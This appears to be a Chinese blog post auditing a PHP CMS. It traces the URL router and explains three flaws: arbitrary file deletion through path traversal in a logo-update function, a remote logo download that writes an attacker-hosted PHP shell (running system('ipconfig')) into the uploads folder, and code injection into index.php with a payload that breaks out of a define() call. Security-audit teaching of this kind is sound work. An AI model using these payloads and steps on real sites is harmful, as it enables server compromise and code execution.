新开大坑代码审计系列 小白新手大佬多多包涵


0x01 审计入口


对于一个MVC结构而言,比较重要的就是首先弄清楚路由是怎么走的,首先看到index.php中包含了home/index.php,其中第106行调用了Prourl::parseUrl();,这个函数就是用来解析Url:

// class/prourl.class.php
<?php
class Prourl {
    /**
     * URL路由,转为PATHINFO的格式
     */ 
    static function parseUrl(){
        if (isset($_SERVER['PATH_INFO'])){
                   //获取 pathinfo
            $pathinfo = explode('/', trim($_SERVER['PATH_INFO'], "/"));
        
                   // 获取 control
                   $_GET['m'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');

                   array_shift($pathinfo); //将数组开头的单元移出数组 
                  
                   // 获取 action
                   $_GET['a'] = (!empty($pathinfo[0]) ? $pathinfo[0] : 'index');
            array_shift($pathinfo); //再将将数组开头的单元移出数组 

            for($i=0; $i<count($pathinfo); $i+=2){
                $_GET[$pathinfo[$i]]=$pathinfo[$i+1];
            }
        
        }else{    
            $_GET["m"]= (!empty($_GET['m']) ? $_GET['m']: 'index');    //默认是index模块
            $_GET["a"]= (!empty($_GET['a']) ? $_GET['a'] : 'index');   //默认是index动作

            if($_SERVER["QUERY_STRING"]){
                $m=$_GET["m"];
                unset($_GET["m"]);  //去除数组中的m
                $a=$_GET["a"];
                unset($_GET["a"]);  //去除数组中的a
                $query=http_build_query($_GET);   //形成0=foo&1=bar&2=baz&3=boom&cow=milk格式
                //组成新的URL
                $url=$_SERVER["SCRIPT_NAME"]."/{$m}/{$a}/".str_replace(array("&","="), "/", $query);
                header("Location:".$url);
            }    
        }
    }
}

‘PATH_INFO’

包含由客户端提供的、跟在真实脚本名称之后并且在查询语句(query string)之前的路径信息,如果存在的话。例如,如果当前脚本是通过URL http://www.example.com/php/path_info.php/some/stuff?foo=bar 被访问,那么$_SERVER[‘PATH_INFO’] 将包含 /some/stuff。

举个例子,假如访问http://127.0.0.1/index.php/index/hello/pid/1,那么parseUrl()函数会将index解析成类名,hello解析成方法名,pid是参数名,1是参数值。如果是通过GET传参的形式传入的话,那么就会先将Url转换成上面这种表示形式,再按相同的流程处理。

另外,项目中的runtime是对网站的缓存文件,也就说假如你访问了admin后台网站,那么第二次再访问的时候就会在runtime目录下执行,而不是进入admin目录。

0x02 审计过程


首先用Seay和Rips工具扫描一遍,有一个大概的方向。
77467-nv9rpl1x9bm.png
controls/flink.class.php任意文件删除
function update(){

 $flink = D('flink');
if(isset($_POST['logoc'])){
    $logo = $flink->downlogo($_POST['logoc']);
    $srclogo = PROJECT_PATH."public/uploads/logos/".$_POST["logo"];
    if(file_exists($srclogo))
        unlink($srclogo);
}else{
    $logo = $_POST["logo"];
}
if($logo){
    $_POST["logo"] = $logo;
    if($flink->update($_POST,1,1)){
        $this->redirect("index");
    }else{
        $mess = $flink->getMsg();
        if($mess == "")
            $mess = "您未做任何修改";
            $this->mess($mess,false);
            $this->assign("post",$_POST);
    }
}else{
    $this->mess("LOGO下载失败,请检查URL地址是否正确",false);
    $this->assign("post",$_POST);
}
$this->display("mod"); 
}

漏洞出在第55行的unlink()函数,参数$srclogo是由用户POST参数logo再拼接网站目录得到的,而且没有任何过滤,那么就很容易利用路径遍历来删除任何文件。利用方式:

84340-you60rz96fn.png

models/flink.php.class文件写入
首先通过一个危险函数file_put_contens()定位到models/flink.class.php文件
<?php

class Flink{
    function downlogo($logourl){
        $url = parse_url($logourl);
        $logoname = str_replace(".","_",$url['host']).".".array_pop(explode(".",basename($logourl)));
        $path = PROJECT_PATH."public/uploads/logos/";
        if(!file_exists($path)){
            mkdir($path);
        }
        $location = $path.$logoname;
        $data = file_get_contents($logourl);
        if(strlen($data) > 0){
            file_put_contents($location,$data);
            return $logoname;
        }else{
            return false;
        }
    }
}`

file_put_contents()接收两个参数:$location$data$location参数是通过拼接.public/uploads/logos$logoname,而logoname首先通过parse_url$logourl解析成数组形式,然后再把host字段的值中的.替换成_,后缀名是文件的后缀名,举个例子:加入$url=http://127.0.0.1/shell.php,那么$logoname=127_0_0_1.php。另外,$data参数是通过file_get_contents()函数读取Url中的文件内容。

全局搜索downlogo关键字,发现controls/flink.class.php文件中的insert()函数调用了downlogo()函数,通过POST的方式传参。利用方式如下:

  1. 第一步首先在自己的VPS中写一个shell.php文件:

     <?php

    echo "

        <?php
        system('ipconfig');
        ?>
        ";
    ?>

    因为源代码中是通过file_get_contents()函数读取文件内容,所以我们必须把真正的shell文件内容echo到页面上。

  2. 发起请求
    06503-g1cdb5wpek9.png
  3. 访问http://localhost/public/uploads/logos/xx_xx_xx_xx.php
    classes/baseset.class.php任意代码执行

仍然是全局搜索file_put_contents关键字,在classes/baseset.class.php文件中
static function writeindex($style,$start){

$file=PROJECT_PATH."index.php";
$content=file_get_contents($file);
$reg[]="/define\(\"TPLSTYLE\".+?;/i";
$reg[]="/define\(\"CSTART\".+?;/i";
$rep[]="define(\"TPLSTYLE\",\"{$style}\");";
$rep[]="define(\"CSTART\",\"{$start}\");";
file_put_contents($file, preg_replace($reg, $rep, $content));
}

简单来讲,writeindex()函数就是将index.php中的两个常量TPLSTYLECSTART的值分别替换成$style$start

<?php 
define("CSTART","0");               //是否开启缓存 1开启 0关闭
define("TPLSTYLE","default");          //默认模板存放的目录
define("APP", "./home");
require "./php/index.php";
?>

如果$start=0"); <?php phpinfo(); ?> <?php // ,那么就变成了:

<?php 
define("CSTART","0"); <?php phpinfo(); ?> <?php //");

这样就造成了代码执行漏洞。

那么我们来看看哪些地方调用了writeindex()函数:
35158-gpwg3j6ttff.png

再全局搜索writeindex()函数:
利用方式:

50768-eejgcztx8h.png

0x03 常见函数

12555-7yfif54f088.png

文件相关函数

79910-u0ltc6e8u2f.png

最后修改:2020 年 10 月 30 日 05 : 19 PM
如果觉得我的文章对你有用,请随意赞赏